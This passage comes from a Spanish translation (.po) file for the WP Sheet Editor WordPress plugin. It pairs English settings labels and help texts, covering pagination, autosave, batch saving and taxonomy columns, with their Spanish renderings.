500" #: wp-sheet-editor/dev/inc/options-init.php:58 msgid "Increase Productivity" msgstr "Aumentar la productividad" #: wp-sheet-editor/dev/inc/options-init.php:63 msgid "Use pagination in the spreadsheet?" msgstr "¿Usar la paginación en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:64 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list." msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y desactivar la lista infinita." #: wp-sheet-editor/dev/inc/options-init.php:70 msgid "Disable the automatic loading of rows?" msgstr "¿Desactivar la carga automática de filas?" #: wp-sheet-editor/dev/inc/options-init.php:71 msgid "" "When you open the spreadsheet, we load the rows automatically so you can " "start editing right away. Activate this option if you want to search rows " "and load manually." msgstr "" "Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que " "puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar " "filas y cargarlas manualmente." #: wp-sheet-editor/dev/inc/options-init.php:77 msgid "Disable the full screen mode?" msgstr "¿Desactivar el modo de pantalla completa?" #: wp-sheet-editor/dev/inc/options-init.php:78 msgid "" "When the sheet loads, we open it in full screen and you have the option to " "exit the full screen mode. Activate this option and we wont open the sheet " "in full screen." msgstr "" "Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes " "la opción de salir del modo de pantalla completa. Habilita esta opción y no " "abriremos la hoja en pantalla completa." #: wp-sheet-editor/dev/inc/options-init.php:84 msgid "Load more items on scroll?" msgstr "¿Cargar más filas al hacer scroll?" #: wp-sheet-editor/dev/inc/options-init.php:85 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page. You can enable / disable in " "the spreadsheet too." msgstr "" "Cuando esta opción está habilitada, se cargarán más filas en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página. También " "puedes habilitar/deshabilitar en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:92 msgid "Freeze first columns at the left side?" msgstr "¿Congelar las columnas iniciales del lado izquierdo?" #: wp-sheet-editor/dev/inc/options-init.php:93 msgid "" "Enter a number and those columns will be frozen while scrolling " "horizontally. You can right click on any column to freeze or unfreeze it. " "For example, enter 2 to freeze the first 2 columns" msgstr "" "Ingresa un número y esas columnas se fijarán al hacer scroll " "horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y " "descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas." #: wp-sheet-editor/dev/inc/options-init.php:99 msgid "Enable auto saving?" msgstr "¿Habilitar el guardado automático?" #: wp-sheet-editor/dev/inc/options-init.php:100 msgid "" "Turn this on and the spreadsheet will save automatically all the changes " "made on the cells every 2 minutes. Careful, this might cause issues if the " "changes are saved prematurely before you finish editing all the required " "columns." msgstr "" "Habilita esto y la hoja de cálculo guardará los cambios hechos en las celdas " "cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se " "guardan prematuramente antes que termines de editar todas las columnas " "requeridas." #: wp-sheet-editor/dev/inc/options-init.php:116 msgid "Default sort order" msgstr "Orden por defecto" #: wp-sheet-editor/dev/inc/options-init.php:117 msgid "" "We'll sort the rows in the spreadsheet by this field. We recommend you sort " "based on fields that have values in all the rows in order to get more " "accurate results. For example, it's better to sort 1k products by Title ASC " "because you know that all the rows will be sorted accurately, but if you " "sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the " "500 rows without SKU could potentially have random order as we don't have " "any value to sort them accurately." msgstr "" "Ordenaremos las filas de la hoja de cálculo según este campo. Te " "recomendamos ordenar por campos que tengan valores en todas las filas para " "obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos " "por Título ASC porque sabes que todas las filas se ordenarán con precisión, " "pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán " "correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya " "que no tenemos ningún valor para ordenarlas con precisión." #: wp-sheet-editor/dev/inc/options-init.php:129 msgid "Solution to weird errors" msgstr "Solución de errores raros" #: wp-sheet-editor/dev/inc/options-init.php:135 msgid "Columns limit" msgstr "Límite de columnas" #: wp-sheet-editor/dev/inc/options-init.php:136 msgid "" "We limit the spreadsheet columns for performance reasons to avoid loading " "thousands of columns on the spreadsheet. You can increase this limit if you " "want to display more columns. Default: 310" msgstr "" "Limitamos las columnas de la hoja de cálculo por razones de rendimiento para " "evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este " "límite si quieres visualizar más columnas. Predeterminado: 310" #: wp-sheet-editor/dev/inc/options-init.php:142 msgid "Separator for taxonomy terms cells" msgstr "Separador de celdas de términos de taxonomía" #: wp-sheet-editor/dev/inc/options-init.php:143 msgid "" "Taxonomy columns like post categories, post tags, etc. show terms separated " "by comma, if you use commas in your term names, use this option to change " "the separator" msgstr "" "Las columnas de taxonomía como las categorías de las entradas, las etiquetas " "de las entradas, etc. muestran los términos separados por comas, si usas " "comas en los nombres de las taxonomías, usa esta opción para cambiar el " "separador" #: wp-sheet-editor/dev/inc/options-init.php:150 msgid "How long do you want to wait between batches? (in seconds)" msgstr "¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)" #: wp-sheet-editor/dev/inc/options-init.php:151 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. But your server can't " "handle all the batches one after another so we need to wait a few seconds " "after every batch to give your server a little break. The recommended value " "is 6 seconds, you can adjust it as it works best for you. If you get errors " "when saving you should increase the number to give your server a longer " "break after each batch" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "Pero tu servidor no puede manejar todos los lotes uno tras otro, así que " "necesitamos esperar unos segundos después de cada lote para darle a tu " "servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes " "ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías " "aumentar el número para dar a tu servidor un descanso más largo después de " "cada lote." #: wp-sheet-editor/dev/inc/options-init.php:157 msgid "Disable post actions while saving?" msgstr "¿Desactivar las acciones posteriores al guardar cambios?" #: wp-sheet-editor/dev/inc/options-init.php:158 msgid "" "Some plugins execute a task after a post is created or updated. For example, " "there are plugins that share your new posts on your social profiles, other " "plugins that notify users after a post is updated, etc. There might be an " "issue with those plugins. For example, if you use a plugin that shares your " "new posts on your twitter account and update 100 posts in the spreadsheet " "editor you might end up with 100 tweets shared in your twitter account. So " "enable this option if you want to update / create posts silently without " "executing those functions." msgstr "" "Algunos plugins ejecutan una tarea después de crear o actualizar una " "entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus " "perfiles sociales, otros plugins notifican a los usuarios después de que una " "entrada es actualizada, etc. Puede que haya un problema con esos plugins. " "Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de " "twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes " "terminar con 100 tweets compartidos en tu cuenta de twitter. Así que " "habilita esta opción si quieres actualizar / crear posts silenciosamente sin " "ejecutar esas funciones." #: wp-sheet-editor/dev/inc/options-init.php:164 msgid "Suspend object cache invalidation?" msgstr "¿Suspender la invalidación de la caché de objetos?" #: wp-sheet-editor/dev/inc/options-init.php:165 msgid "" "Disable this if you are using a object/database cache plugin. We disable " "this by default to make the saving faster, when you edit a lot of posts " "WordPress tries to \"clean up\" the cache even if you are not using a cache " "plugin, making hundreds of unnecessary database queries." msgstr "" "Deshabilita esta opción si estás usando un plugin de caché de objetos/bases " "de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. " "Cuando editas muchas entradas, WordPress intenta \"limpiar\" la caché " "incluso si no estás usando un plugin de caché, haciendo cientos de consultas " "innecesarias a la base de datos." #: wp-sheet-editor/dev/inc/options-init.php:171 msgid "Disable the replacement of line breaks with p tags?" msgstr "¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?" #: wp-sheet-editor/dev/inc/options-init.php:172 msgid "" "When the sheet loads and saves post content, we run it through wpautop to " "prevent issues with line breaks. You can disable this if you dont want to " "see/save the p tags in the content." msgstr "" "Cuando se carga la hoja de cálculo y guarda el contenido de las filas, la " "ejecutamos a través de wpautop para evitar problemas de saltos de línea. " "Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el " "contenido." #: wp-sheet-editor/dev/inc/options-init.php:178 msgid "Deactivate the data prefetch" msgstr "Desactivar el prefetch de los datos" #: wp-sheet-editor/dev/inc/options-init.php:179 msgid "" "When you load the spreadsheet, we get all the columns at once from the " "database to make it faster, this is called prefetch. This can cause issues " "if you have thousands of columns or rare database setups." msgstr "" "Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de " "la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede " "causar problemas si tienes miles de columnas o configuraciones raras en tus " "bases de datos." #: wp-sheet-editor/dev/inc/options-init.php:185 msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" "Claves meta que deben utilizar el administrador de campos serializados " "infinitos" #: wp-sheet-editor/dev/inc/options-init.php:186 msgid "" "This is only for advanced users or if our support team asks you to use this " "option. We have 2 ways to handle serialized fields: the old handler (used by " "default, which has limitations) and the infinite serialization handler " "(better, it is not active by default to not break previous integrations). " "Use this option if you have serialized fields that save incorrectly or dont " "appear in the spreadsheet." msgstr "" "Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide " "que uses esta opción. Tenemos dos maneras de manejar los campos " "serializados: el antiguo controlador (usado por defecto, que tiene " "limitaciones) y el controlador de serialización infinita (mejor, no está " "activo por defecto para no romper integraciones anteriores). Utiliza esta " "opción si tienes campos serializados que se guardan incorrectamente o no " "aparecen en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:191 msgid "Blacklist these columns" msgstr "Poner estas columnas en la lista negra" #: wp-sheet-editor/dev/inc/options-init.php:192 msgid "" "Enter the list of field keys separated by commas, you can enter the full " "meta field key or partial keywords or prefixes. This is useful because some " "plugins add thousands of unnecessary fields to the database and they clutter " "the spreadsheet" msgstr "" "Ingresa la lista de claves de campo separadas por comas, puedes ingresar la " "clave completa del campo meta o las palabras clave o prefijos parciales. " "Esto es útil porque algunos plugins añaden miles de campos innecesarios a la " "base de datos y desordenan la hoja de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:197 msgid "Enable the utf8 encoding fix" msgstr "Habilitar la corrección de la codificación utf8" #: wp-sheet-editor/dev/inc/options-init.php:198 msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "" "Esto puede ayudar si la hoja de cálculo no carga filas o si las filas " "aparecen vacías." #: wp-sheet-editor/dev/inc/options-init.php:205 msgid "Maximum number of seconds to download external images?" msgstr "Número máximo de segundos para descargar imágenes externas?" #: wp-sheet-editor/dev/inc/options-init.php:206 msgid "" "Default: 4. When you enter an external image URL in any image cells (or " "during the import), we download the image file into the WordPress media " "library and save it in the field. By default, we limit the download time to " "4 seconds, any download that exceeds that number of seconds will be cancelled" msgstr "" "Por defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o " "durante la importación, descargamos la imagen y la guardamos en la librería " "multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, " "cualquier descarga que supere eso será cancelada para evitar problemas de " "rendimiento." #: wp-sheet-editor/dev/inc/options-init.php:212 msgid "Maximum meta fields displayed in the advanced filters dropdown" msgstr "Cantidad máxima de campos disponibles para búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:213 msgid "" "We limit the list of fields to 1000 meta fields to avoid memory leaks/" "performance issues. If you want to search by a field that does not appear in " "the dropdown, increase this number." msgstr "" "Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de " "memoria/problemas de rendimiento. Si quieres buscar por un campo que no " "aparece en el desplegable, aumenta este número." #: wp-sheet-editor/dev/inc/options-init.php:219 msgid "Allow line breaks in values during the export and import process" msgstr "Permitir saltos de línea en valores al exportar e importar?" #: wp-sheet-editor/dev/inc/options-init.php:220 msgid "" "We will not execute our removal of duplicate rows when the line breaks are " "allowed, so you might see duplicate rows in the export files in rare cases." msgstr "" "No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan " "los saltos de línea, por lo que es posible que veas filas duplicadas en los " "archivos de exportación en casos excepcionales." #: wp-sheet-editor/dev/inc/options-init.php:226 msgid "Allow safe html in post titles?" msgstr "Permitir HTML seguro en títulos de posts?" #: wp-sheet-editor/dev/inc/options-init.php:227 msgid "" "We will remove all the html tags by default. Activate this option to allow " "safe html tags, like b, span, i, etc" msgstr "" "Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para " "permitir etiquetas html seguras, como b, span, i, etc." #: wp-sheet-editor/dev/inc/options-init.php:233 msgid "Attach every taxonomy term in the hierarchy to the posts?" msgstr "¿Acoplar cada término de taxonomía de la jerarquía a los posts?" #: wp-sheet-editor/dev/inc/options-init.php:234 msgid "" "By default, we only attach the last term in the hierarchy to the posts " "because WordPress automatically handles them correctly. But if you want to " "assign each term to the post, including the parent categories, activate this " "option" msgstr "" "Por defecto, sólo asignamos el último término de la jerarquía a las entradas " "porque WordPress las gestiona correctamente de forma automática. Pero si " "quieres asignar cada término a la entrada, incluyendo las categorías padre, " "habilita esta opción." #: wp-sheet-editor/dev/inc/options-init.php:240 msgid "Always run the save_post action after any post row is edited?" msgstr "" "¿Ejecutar siempre la acción save_post después de editar cualquier fila de la " "entrada?" #: wp-sheet-editor/dev/inc/options-init.php:241 msgid "" "By default, we run the save_post action only when a post data field is " "updated (fields other than meta and taxonomies) for performance reasons. " "Enable this if other plugins aren't detecting our changes or webhooks aren't " "running." msgstr "" "Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un " "campo de datos de la entrada (campos que no sean meta y taxonomías) por " "razones de rendimiento. Habilita esto si otros plugins no están detectando " "nuestros cambios o los webhooks no se están ejecutando." #: wp-sheet-editor/dev/inc/options-init.php:250 msgid "Customize features" msgstr "¿Personalizar las características" #: wp-sheet-editor/dev/inc/options-init.php:255 msgid "Enable option to restrict spreadsheet views per user?" msgstr "" "¿Habilitar la opción de restringir las vistas de hojas de cálculo por " "usuario?" #: wp-sheet-editor/dev/inc/options-init.php:256 msgid "" "If you enable this option, we will add fields to the user profiles where you " "can specify which spreadsheet views they can use, they can use all the " "spreadsheet views if this is deactivated." msgstr "" "Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde " "podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden " "utilizar todas las vistas de la hoja de cálculo si esto está desactivado." #: wp-sheet-editor/dev/inc/options-init.php:262 msgid "Enable simple mode?" msgstr "¿Habilitar el modo simple?" #: wp-sheet-editor/dev/inc/options-init.php:263 msgid "" "If you enable this option, we will simplify the spreadsheet options and " "remove advanced examples, tips, and options rarely used in the search tool, " "bulk edit tool, import tool, export tool, and other places." msgstr "" "Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo " "y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la " "herramienta de búsqueda, la herramienta de edición masiva, la herramienta de " "importación, la herramienta de exportación y otros lugares." #: wp-sheet-editor/dev/inc/options-init.php:269 msgid "Disable the automatic formatting detection?" msgstr "¿Deshabilitar la detección automática del formato?" #: wp-sheet-editor/dev/inc/options-init.php:270 msgid "" "If you enable this option, some columns will appear as text. Normally we " "detect the date fields, image fields." msgstr "" "Si habilitas esta opción, algunas columnas aparecerán como texto. " "Normalmente detectamos los campos de fecha, campos de imagen." #: wp-sheet-editor/dev/inc/options-init.php:276 msgid "Disable cells lazy loading?" msgstr "¿Deshabilitar la carga lenta de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:277 msgid "" "The spreadsheet loads only the \"visible rows\" for performance reasons, so " "when you scroll up or down the rows are loaded dynamically. This way you can " "\"open\" thousands of posts in the spreadshet and it will work fast. " "However, if you want to use the browser search to find a specific cell, you " "need to disable the lazy loading in order to load all the rows at once and " "the browser will be able to find the cells. The browser search doesn't work " "by default because only the \"visible rows\" are actually created." msgstr "" "La hoja de cálculo carga sólo las \"filas visibles\" por razones de " "rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las " "filas se cargan dinámicamente. De esta manera puedes \"abrir\" miles de " "posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres " "usar la búsqueda del navegador para encontrar una celda específica, " "necesitas deshabilitar la carga perezosa para cargar todas las filas a la " "vez y el navegador será capaz de encontrar las celdas. La búsqueda en el " "navegador no funciona por defecto porque sólo se crean las \"filas " "visibles\"." #: wp-sheet-editor/dev/inc/options-init.php:283 msgid "Disable usage stats widget?" msgstr "¿Deshabilitar el widget de estadísticas de uso?" #: wp-sheet-editor/dev/inc/options-init.php:284 msgid "" "If you enable this option, the usage stats widget shown in the wp-admin " "dashboard will be removed." msgstr "" "Si habilitas esta opción, el widget de estadísticas de uso que se muestra en " "el panel de control de wp-admin será eliminado." #: wp-sheet-editor/dev/inc/options-init.php:290 msgid "Disable serialized columns support?" msgstr "¿Deshabilitar el soporte de columnas serializadas?" #: wp-sheet-editor/dev/inc/options-init.php:291 msgid "" "The spreadsheet automatically generates columns for serialized fields, but " "this can use a lot of CPU cycles depending on the number of serialized " "fields. You can disable this feature if the sheet is too slow to load or you " "get errors when loading the rows or you dont want to see columns with prefix " "\"SEIS\"." msgstr "" "La hoja de cálculo genera automáticamente columnas para los campos " "serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del " "número de campos serializados. Puedes deshabilitar esta característica si la " "hoja es demasiado lenta para cargar o si obtienes errores al cargar las " "filas o no quieres ver las columnas con el prefijo \"SEIS\"." #: wp-sheet-editor/dev/inc/options-init.php:297 msgid "Disable the heartbeat api in the spreadsheet?" msgstr "¿Deshabilitar la api heartbeat en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:298 msgid "" "WordPress uses the heartbeat API to check the login status every few " "seconds. This can overload your server because it could make hundreds of " "requests when you are editing in the spreadsheet. You can disable it to " "reduce the stress on your server while editing in the sheet. However, if you " "keep the spreadsheet opened over multiple days your login session can expire " "and you wont be notified if you disable the heartbeat and this can cause " "issues while saving. So use this option only when you use the spreadsheet " "for a few hours only." msgstr "" "WordPress utiliza la API de heartbeat para comprobar el estado de inicio de " "sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que " "podría hacer cientos de peticiones cuando se está editando en la hoja de " "cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor " "mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de " "cálculo abierta durante varios días, tu sesión de inicio de sesión puede " "caducar y no se te notificará si dehabilitas el heartbeat, lo que puede " "causar problemas al guardarla. Así que usa esta opción sólo cuando uses la " "hoja de cálculo durante unas pocas horas." #: wp-sheet-editor/dev/inc/options-init.php:303 msgid "User roles that can use the spreadsheet editor" msgstr "Roles de usuario que pueden utilizar el editor de hojas de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:304 msgid "The plugin will not initialize for the user roles not selected here." msgstr "" "El plugin no se inicializará para los roles de usuario no seleccionados aquí." #: wp-sheet-editor/dev/inc/options-init.php:312 msgid "Enable the fancy taxonomy terms selector" msgstr "Habilitar el selector de términos de taxonomía bonito" #: wp-sheet-editor/dev/inc/options-init.php:313 msgid "" "Backwards compatibility. This setting will be removed in future updates." msgstr "" "Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras " "actualizaciones." #: wp-sheet-editor/dev/inc/options-init.php:319 msgid "What cell format to use for the taxonomy columns?" msgstr "¿Qué formato de celda se debe utilizar para las columnas de taxonomía?" #: wp-sheet-editor/dev/inc/options-init.php:321 msgid "New multi select dropdown (Default)" msgstr "Nuevo menú desplegable de selección múltiple (predeterminado)" #: wp-sheet-editor/dev/inc/options-init.php:322 msgid "Old single select autocomplete" msgstr "Autocompletado de selección simple antiguo" #: wp-sheet-editor/dev/inc/options-init.php:328 msgid "Show all the custom post statuses?" msgstr "¿Mostrar todos los estados de posts personalizados?" #: wp-sheet-editor/dev/inc/options-init.php:329 msgid "" "By default we show the CORE statuses: published, draft, private, scheduled, " "trash. However, some plugins register custom statuses: job managers, " "woocommerce. Enable this option to show all the custom statuses in the " "\"status\" column. CAREFUL. We will show all the statuses from all the post " "types in the dropdown because it is impossible to know the post type of each " "status to we can not separate them. Do this only if you are a developer." msgstr "" "Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, " "programado, papelera. Sin embargo, algunos plugins registran estados " "personalizados: gestores de trabajos, comercio de madera. Habilita esta " "opción para mostrar todos los estados personalizados en la columna " "\"status\". CUIDADO. Mostraremos todos los estados de todos los post types " "en el desplegable porque es imposible saber el post type de cada estado al " "no poder separarlos. Haz esto sólo si eres un desarrollador." #: wp-sheet-editor/dev/inc/options-init.php:335 msgid "Remove help messages from the cells?" msgstr "¿Ocultar los mensajes de ayuda de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:336 msgid "" "By default we show comments in some columns indicating the value format or " "why they are locked. for example, the category column shows a tip indicating " "to separate terms with a comma and how to add child categories, variation " "columns have a tip indicating why they are locked for parent products. You " "can activate this option to disable those tips." msgstr "" "Por defecto, mostramos comentarios en algunas columnas indicando el formato " "del valor o por qué están bloqueados. Por ejemplo, la columna de categorías " "muestra un consejo que indica que hay que separar los términos con una coma " "y cómo añadir categorías menores, las columnas de variaciones tienen un " "consejo que indica por qué están bloqueadas para los productos de los " "padres. Puedes activar esta opción para desactivar esos consejos." #: wp-sheet-editor/dev/inc/options-init.php:342 msgid "Manage taxonomy column values as term ids?" msgstr "" "¿Administrar los valores de las columnas de taxonomía como IDs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:343 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term ids separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los ID de los términos separados " "por comas." #: wp-sheet-editor/dev/inc/options-init.php:349 msgid "Manage taxonomy column values as term slugs?" msgstr "" "¿Gestionar los valores de las columnas de taxonomía como slugs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:350 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term slugs separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los términos separados por comas." #: wp-sheet-editor/dev/inc/options-init.php:356 msgid "Do you want to deactivate columns for new fields found?" msgstr "¿Quieres deshabilitar las columnas para los nuevos campos encontrados?" #: wp-sheet-editor/dev/inc/options-init.php:357 msgid "" "By default we automatically show columns for all the new fields found, so " "everytime we detect new fields you can see them and edit right away. But " "this might \"break\" your column sorting or annoy you if you have enabled " "specific columns. Enable this option to generate those columns but leave " "them deactivated so you can enable them later." msgstr "" "Por defecto mostramos automáticamente columnas para todos los nuevos campos " "encontrados, así que cada vez que detectamos nuevos campos puedes verlos y " "editarlos inmediatamente. Pero esto puede \"romper\" tu orden de columnas o " "molestarte si has habilitado columnas específicas. Habilita esta opción para " "generar esas columnas pero dejarlas desactivadas para que puedas " "habilitarlas más tarde." #: wp-sheet-editor/dev/inc/options-init.php:364 msgid "Math formula roundup decimals" msgstr "" "Decimales para redondear valores al realizar ediciones masivas en columnas " "numéricas?" #: wp-sheet-editor/dev/inc/options-init.php:365 msgid "" "We automatically round up to 2 decimals. You can enter any number here, for " "example, 1 to round to 1 decimal" msgstr "" "Redondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número " "aquí, por ejemplo, 1 para redondear a 1 decimal" #: wp-sheet-editor/dev/inc/options-init.php:371 msgid "Display raw value on select cells?" msgstr "¿Mostrar el valor bruto en las celdas seleccionadas?" #: wp-sheet-editor/dev/inc/options-init.php:372 msgid "" "By default, we show the label in the cell instead of the raw value. But you " "can enable this option to display the raw value in the cells." msgstr "" "Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. " "Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas." #: wp-sheet-editor/dev/inc/options-init.php:378 msgid "" "Delete user accounts in the entire network when deleting users in the " "spreadsheet?" msgstr "" "¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de " "cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:379 msgid "" "When you use WordPress multisite and you delete a user in the users " "spreadsheet, by default we only remove the user from the current site but " "the user remains in the network. Activate this option if you want to delete " "the user account from the entire network" msgstr "" "Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de " "usuarios, por defecto solo removemos el usuario del sitio actual. Habilita " "esta opción para eliminar al usuario de toda la red." #: wp-sheet-editor/dev/inc/options-init.php:385 msgid "Disable the addition of file ID to the image URLs?" msgstr "¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:386 msgid "" "By default, when you export the featured image column or gallery columns, we " "add the file ID to each image url so we can import them later faster. You " "can activate this option to not add the file id and the import will work " "fine later but it wont be as fast" msgstr "" "Por defecto, al exportar una columna con imágenes, agregamos el ID del " "archivo a la URL para que al importar, sepamos el origen de la imagen y la " "guardemos más rápido. Activa esta opción para no agregar el ID a la URL, " "todo funciona bien al habilitar esta opción, solo que el guardado puede ser " "un poquito más lento." #: wp-sheet-editor/dev/inc/options-init.php:392 msgid "Disable the display of file names in the image columns?" msgstr "¿No mostrar el nombre del archivo en la celda de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:393 msgid "" "By default, we show the file name as a preview next to the thumbnail, you " "can activate this to show the thumbnail and upload buttons only" msgstr "" "Por defecto, mostramos el nombre del archivo como texto de vista previa " "junto a la miniatura, habilita esto para mostrar solo la miniatura y botones " "únicamente." #: wp-sheet-editor/dev/inc/options-init.php:399 msgid "Add html classes to the \"post status\" cells based on their values?" msgstr "" "¿Añadir clases html a las celdas \" estado de la entrada \" en función de " "sus valores?" #: wp-sheet-editor/dev/inc/options-init.php:400 msgid "" "You can activate this option if you want to add html classes, and use those " "html classes to change the cell colors for each status using custom CSS" msgstr "" "Puedes habilitar esta opción si quieres añadir clases html, y usar esas " "clases html para cambiar los colores de las celdas para cada estado usando " "CSS personalizado" #: wp-sheet-editor/dev/inc/options-init.php:407 msgid "" "Maximum number of characters displayed in the preview of the values of " "tinymce columns?" msgstr "" "¿Número máximo de caracteres mostrados en la vista previa de los valores de " "las columnas tinymce?" #: wp-sheet-editor/dev/inc/options-init.php:408 msgid "" "By default, we only display 30 characters. You can increase the number here " "to view larger previews." msgstr "" "Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí " "para ver previsualizaciones más grandes." #: wp-sheet-editor/dev/inc/options-init.php:414 msgid "Manage the post parent column using IDs?" msgstr "¿Administrar la columna \"Padre\" usando los IDs?" #: wp-sheet-editor/dev/inc/options-init.php:415 msgid "" "By default, the \"parent\" column displays titles and saves using titles. If " "you activate this option, the column will display IDs and save IDs. This is " "useful if you have duplicate titles and you need to save the exact parent by " "ID." msgstr "" "Por defecto, la columna \"padre\" muestra títulos y guarda utilizando " "títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. " "Esto es útil si tienes títulos duplicados y necesitas guardar el padre " "exacto por ID." #: wp-sheet-editor/dev/inc/options-init.php:420 msgid "Enable the dark mode?" msgstr "¿Habilitar modo oscuro?" #: wp-sheet-editor/dev/inc/options-init.php:424 msgid "Auto (Default)" msgstr "Automático (por defecto)" #: wp-sheet-editor/dev/inc/options-init.php:425 msgid "Light mode" msgstr "Modo claro" #: wp-sheet-editor/dev/inc/options-init.php:426 msgid "Dark mode" msgstr "Modo oscuro" #: wp-sheet-editor/dev/inc/options-init.php:433 msgid "General settings" msgstr "Ajustes generales" #: wp-sheet-editor/dev/inc/options-init.php:438 msgid "" "In this page you can quickly set up the spreadsheet editor. This all you " "need to use the editor. The settings on the other tabs are completely " "optional and allow you to tweak the performance of the editor among other " "things." msgstr "" "En esta página puedes configurar rápidamente el editor de hojas de cálculo. " "Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras " "pestañas son completamente opcionales y te permiten ajustar el rendimiento " "del editor entre otras cosas." #: wp-sheet-editor/dev/inc/options-init.php:445 msgid "Misc" msgstr "Miscelánea" #: wp-sheet-editor/dev/inc/options-init.php:451 msgid "Image preview width inside the cell" msgstr "Ancho de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:458 msgid "Image preview height inside the cell" msgstr "Altura de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:465 msgid "Initial rows offset" msgstr "Desfase inicial de las filas" #: wp-sheet-editor/dev/inc/options-init.php:466 msgid "" "When you have 1000 posts , you might want to open the spreadsheet and start " "editing from post 200. This option lets you skip a lot of rows. IMPORTANT. " "We use the pagination, so we will display the page closest to that number. " "For example. If you load 10 rows per page and enter 1205 as offset, the " "sheet will start from page 120 (index 1200) because it is the page closest " "to the defined offset." msgstr "" "Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y " "empezar a editar desde las fila 200. Esta opción te permite saltar muchas " "filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más " "cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas " "1205 como desplazamiento, la hoja comenzará desde la página 120 (índice " "1200) porque es la página más cercana al desplazamiento definido." #: wp-sheet-editor/dev/inc/options-init.php:472 msgid "Delete the attached images when deleting a post?" msgstr "¿Borrar las imágenes adjuntas al borrar una entrada?" #: wp-sheet-editor/dev/inc/options-init.php:473 msgid "" "For example, when deleting a post completely (not moving to the trash), " "delete the featured image and product gallery images from the media library. " "CAREFUL.If you use the same images on multiple posts, it will break the " "images on other posts" msgstr "" "Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se " "borra la imagen destacada y las imágenes de la galería de productos de la " "biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, " "se romperán las imágenes en otros posts" #: wp-sheet-editor/dev/inc/options-init.php:481 